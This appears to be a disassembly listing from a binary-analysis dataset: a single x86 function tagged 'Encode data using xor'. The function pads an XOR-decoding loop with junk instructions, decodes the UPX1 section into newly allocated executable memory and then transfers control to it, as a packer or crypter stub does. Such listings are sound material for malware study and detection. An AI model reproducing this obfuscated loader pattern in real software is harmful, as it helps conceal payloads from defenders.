Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xba29c42
and edi, edi
and ecx, edi
sub edi, 0x507b589e
popal
sub ecx, edi
not ecx
mov ebx, 0
mov edx, ecx
sub eax, 0x20b41ee1
add eax, eax
mov edi, edx
sub esi, eax
and eax, eax
mov ecx, edi
add eax, 0x98d765ed
add esi, esi
add eax, eax
inc ebx
dec esi
add eax, eax
cmp ebx, 0x100ac39
jne 0xa789c6
and esi, eax
or eax, esi
mov ecx, 0xc134e828
or ecx, edi
add ecx, edi
mov ecx, 0xa78796
inc edx
not esi
add ebx, esi
mov eax, 0xa7898a
and edx, edx
mov edx, 0x6d81a4ef
mov edi, dword [ecx]
mov esi, edx
sub edx, 0x5d7de86f
and edi, 0xff
dec ebx
not esi
dec esi
xor dword [eax], edi
mov esi, 0xab1ecf11
inc esi
add edx, edx
inc eax
sub ebx, esi
not ebx
not edx
inc ecx
add esi, esi
dec edx
mov ebx, edx
cmp eax, entry0
jl 0xa78a15
inc edx
add esi, ebx
or esi, ebx
not esi
add edx, esi
and edi, ebx
not edx
mov esi, 0xa7898e
inc ebx
mov edi, 0xbcaa9c88
mov esi, dword [esi]
sub ecx, 0xc485de9b
dec ebx
inc edi
mov esi, dword [esi]
and ebx, ecx
or edx, ecx
push esi
or edx, edx
add ebx, edi
inc ecx
mov esi, 0xa7898a
add edx, 0x84adac74
mov ebx, edi
mov esi, dword [esi]
or ebx, ecx
dec edi
mov esi, dword [esi]
not edi
or ecx, edx
sub ebx, edi
sub esp, 4
mov dword [esp], 0xa78992
and edi, ecx
mov edx, 0x163485d3
call esi
or ebx, edi
sub ebx, ecx
mov esi, dword [esp]
add esp, 4
or ebx, ebx
add ebx, ecx
push 0xa7899f
not edx
sub ecx, 0x78c9bd7e
sub esp, 4
mov dword [esp], eax
dec edi
sub ebx, 0x8ea75a52
add ebx, 0xfdf3b8fa
call esi
or ecx, edi
inc edi
mov ebx, 0xaa973e1f
sub esp, 4
mov dword [esp], 0x40
add edi, 0xb6facfd9
mov ecx, edi
push 0x3000
mov edx, edi
not ecx
push 0x20000044
inc edx
add edi, 0xa38de649
add edx, edi
push 0
sub edx, 0x92a6ceba
mov edx, 0xab4677a1
add ecx, edx
call eax
sub edx, ebx
or ecx, edx
and ebx, edx
add eax, 0x1fffffcf
inc ecx
inc ebx
mov esi, 0x5587702a
sub ebx, edx
add edx, edi
mov dword [eax], esi
mov ecx, edi
mov edi, ebx
mov esi, dword [eax]
add ecx, 0x1ca542d
and edx, edi
cmp esi, 0x5587702a
je 0xa78b52
mov ebx, 0
mov edx, dword [ebx]
sub edx, ebx
dec edi
sub edx, 0x2c1f2b04
dec edx
mov ecx, edi
sub ecx, 1
mov edi, ecx
mov esi, section.UPX1
not ecx
inc ecx
mov eax, 0xa78795
or ecx, ecx
sub ecx, 0x31e524b6
mov ebx, 0
and ecx, ecx
add edi, 0x20dc626
mov edx, 0xa78796
sub ecx, 0x5d8ec777
not edi
add ecx, edi
lea edx, [edx + ebx]
not ecx
mov ecx, 0xad58329b
mov edx, dword [edx]
mov ecx, 0xac0a924f
and edi, ecx
mov edi, 0xafd044d3
and edx, 0xff
sub ecx, edi
and ecx, edi
inc ebx
sub ecx, 0x535a949b
sub ecx, 0xdf1ad6c3
add edi, edi
cmp ebx, 0x1f4
jne 0xa78bd5
mov ebx, 0
mov ecx, edi
not ecx
dec edi
sub ecx, 1
xor dword [esi], edx
add ecx, 1
sub edi, 0x87709423
add esi, 2
add edi, 1
or ecx, ecx
cmp esi, eax
jl 0xa78b88
and ecx, ecx
and ecx, ecx
sub edi, 0x563b4829
or ecx, edi
sub edi, 0x1db946ec
sub edi, 0x8d39c567
mov ecx, section.UPX1
and edi, edi
sub edi, 1
mov esi, section.UPX1
mov edi, 0x1ded33b0
inc ebx
dec edi
mov edx, 0xa78795
add edi, 0x691a7aa4
add edi, 0x72706f7d
not edi
mov eax, 0
inc ebx
add edi, 0xdfe1b68
not ebx
mov al, byte [esi]
or edi, ebx
and edi, ebx
mov byte [ecx], al
sub edi, ebx
add ebx, edi
inc ecx
sub edi, 0x74ada7dc
or ebx, edi
mov edi, ebx
add esi, 2
and edi, edi
sub edi, ebx
cmp esi, edx
jle 0xa78c56
inc edi
sub ebx, 0xaeda65a4
dec ebx
and ecx, ecx
dec ecx
or ecx, edi
push 0x8dc6a0
and ecx, ecx
add ecx, 0x66c34abc
mov edi, ecx
ret